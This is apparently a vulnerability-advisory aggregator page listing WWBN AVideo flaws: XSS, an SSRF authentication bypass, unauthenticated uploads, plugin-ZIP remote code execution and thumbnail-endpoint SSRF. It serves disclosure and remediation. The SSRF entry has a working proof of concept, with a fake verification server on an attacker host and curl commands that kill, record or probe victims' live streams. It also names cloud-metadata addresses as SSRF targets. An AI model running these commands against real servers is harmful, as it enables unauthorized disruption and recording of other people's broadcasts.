A cross-site scripting (xss) vulnerability exists in the image403 functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.

First published (updated )
Severity
9.6
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

A reflected cross-site scripting (xss) vulnerability exists in the charts tab selection functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.

First published (updated )
Severity
9.6
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.This vulnerability arrises from the "success" parameter which is inserted into the document with insufficient sanitization.

First published (updated )
Severity
9.6
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.This vulnerability arrises from the "msg" parameter which is inserted into the document with insufficient sanitization.

First published (updated )
Severity
9.6
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.This vulnerability arrises from the "toast" parameter which is inserted into the document with insufficient sanitization.

First published (updated )
Severity
9.4
EPSS
0.08%
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

Summary

The standalone live stream control endpoint at plugin/Live/standAloneFiles/control.json.php accepts a user-supplied streamerURL parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns {"error": false}, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence.

Details

The vulnerability exists because the streamerURL parameter is accepted directly from user input with no validation:

plugin/Live/standAloneFiles/control.json.php:77-79 — User input overrides server config: php if (!empty($REQUEST['streamerURL'])) { $streamerURL = $REQUEST['streamerURL']; }

plugin/Live/standAloneFiles/control.json.php:83-91 — The user-controlled value is assigned to the request object: php $obj->streamerURL = $streamerURL;

plugin/Live/standAloneFiles/control.json.php:115-126 — Token verification is sent to the attacker-controlled URL: php $verifyTokenURL = "{$obj->streamerURL}plugin/Live/verifyToken.json.php?token={$obj->token}"; // ... $content = filegetcontents($verifyTokenURL, false, streamcontextcreate($arrContextOptions));

The legitimate verifyToken.json.php performs cryptographic token validation via Live::decryptHash() and checks token expiry (12-hour window). By redirecting verification to an attacker server, all of this is bypassed — the attacker's server simply responds with {"error": false}.

After authentication is bypassed, the attacker can execute any of the four supported commands (lines 150-186): recordstart, recordstop, droppublisher, and isrecording, which issue control commands to the local NGINX RTMP control module.

SSL verification is also explicitly disabled (lines 119-124), meaning the SSRF request will follow any attacker URL without certificate validation.

Notably, the developers were aware of this exact attack pattern and fixed it in the sibling file standAloneFiles/saveDVR.json.php on 2026-03-19 with an explicit comment: "SECURITY: User-supplied webSiteRootURL is intentionally NOT accepted. Allowing it would enable SSRF." The same fix was not applied to control.json.php.

PoC

Step 1: Set up an attacker server that returns {"error": false} for all requests.

bash Minimal Python server on attacker machine (attacker.example.com:8888) python3 -c ' import http.server, json class H(http.server.BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader("Content-Type","application/json") self.endheaders() self.wfile.write(json.dumps({"error": False}).encode()) def logmessage(self, a): pass http.server.HTTPServer(("0.0.0.0", 8888), H).serveforever() '

Step 2: Drop a victim's live stream (kill their broadcast):

bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=droppublisher&name=VICTIMSTREAMKEY&app=live&streamerURL=http://attacker.example.com:8888/"

Expected response (authentication bypassed, command executed): json {"error":false,"msg":"","streamerURL":"http://attacker.example.com:8888/","token":"anything","command":"droppublisher","app":"live","name":"VICTIMSTREAMKEY","response":"","requestedURL":"http://localhost:8080/control/drop/publisher?app=live&name=VICTIMSTREAMKEY"}

Step 3: Start unauthorized recording of a victim's stream:

bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=recordstart&name=VICTIMSTREAMKEY&app=live&streamerURL=http://attacker.example.com:8888/"

Step 4: Probe whether a stream name is active:

bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=isrecording&name=GUESSSTREAMKEY&app=live&streamerURL=http://attacker.example.com:8888/"

Impact

- Denial of Service on Live Streams: Any unauthenticated attacker can terminate any active live broadcast using droppublisher, causing immediate disruption for streamers and viewers. - Unauthorized Recording: An attacker can start recording any live stream without authorization using recordstart, potentially capturing private or sensitive content. - Stream Enumeration: The isrecording command allows probing for valid stream names. - SSRF: The server makes an outbound HTTP request to an attacker-controlled URL via filegetcontents(), which could be used to scan internal services or exfiltrate data via the request URL. - No authentication required: The entire attack is performed without any credentials.

Recommended Fix

Remove the streamerURL request parameter override entirely, matching the fix already applied in saveDVR.json.php. In plugin/Live/standAloneFiles/control.json.php, replace lines 77-79:

php // BEFORE (vulnerable): if (!empty($REQUEST['streamerURL'])) { $streamerURL = $REQUEST['streamerURL']; }

// AFTER (fixed): // SECURITY: User-supplied streamerURL is intentionally NOT accepted. // Allowing it would enable authentication bypass and SSRF via filegetcontents // on an attacker-controlled host. streamerURL MUST come from the configuration // file or be hard-coded in this file above. if (empty($streamerURL)) { errorlog("control.json.php: streamerURL is not configured"); die(jsonencode(['error' => true, 'msg' => 'Server not configured'])); }

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

AVideo versions prior to 20.1 with the ImageGallery plugin enabled is vulnerable to unauthenticated file upload and deletion. Plugin endpoints responsible for managing gallery images fail to enforce authentication checks and do not validate ownership, allowing unauthenticated attackers to upload or delete images associated with any image-based video.

First published (updated )
Severity
9.3
EPSS
0.35%
Malicious File Upload
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An authenticated Remote Code Execution (RCE) vulnerability was identified in AVideo related to the plugin upload/import functionality.

The issue allowed an authenticated administrator to upload a specially crafted ZIP archive containing executable server-side files. Due to insufficient validation of extracted file contents, the archive was extracted directly into a web-accessible plugin directory, allowing arbitrary PHP code execution.

Vulnerability Type - Remote Code Execution (RCE) - CWE-434: Unrestricted Upload of File with Dangerous Type

Affected Versions - All versions up to and including 22.x.

Fixed Version - A fix is expected to be released in version 23.

Root Cause The system validated only the ZIP extension of uploaded plugin packages but did not enforce a strict allowlist of file types within the archive. Extracted files were placed directly in a web-accessible directory without preventing execution of server-side scripts.

Impact An authenticated administrator could execute arbitrary code on the server, resulting in full system compromise, including: - Confidentiality loss - Integrity loss - Availability impact

Remediation Upgrade immediately to AVideo version 23 or later.

Version 23 introduces improved validation and secure handling of plugin extraction.

Workarounds If upgrade is not immediately possible: - Disable plugin upload/import functionality. - Configure the web server to prevent execution of PHP files inside plugin upload directories.

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
EPSS
0.08%
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

AVideo is a video-sharing Platform. Versions prior to 8.0 contain a Server-Side Request Forgery vulnerability (CWE-918) in the public thumbnail endpoints getImage.php and getImageMP4.php. Both endpoints accept a base64Url GET parameter, base64-decode it, and pass the resulting URL to ffmpeg as an input source without any authentication requirement. The prior validation only checked that the URL was syntactically valid (FILTERVALIDATEURL) and started with http(s)://. This is insufficient: an attacker can supply URLs such as http://169.254.169.254/latest/meta-data/ (AWS/cloud instance metadata), http://192.168.x.x/, or http://127.0.0.1/ to make the server reach internal network resources. The response is not directly returned (blind), but timing differences and error logs can be used to infer results. The issue has been fixed in version 8.0.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203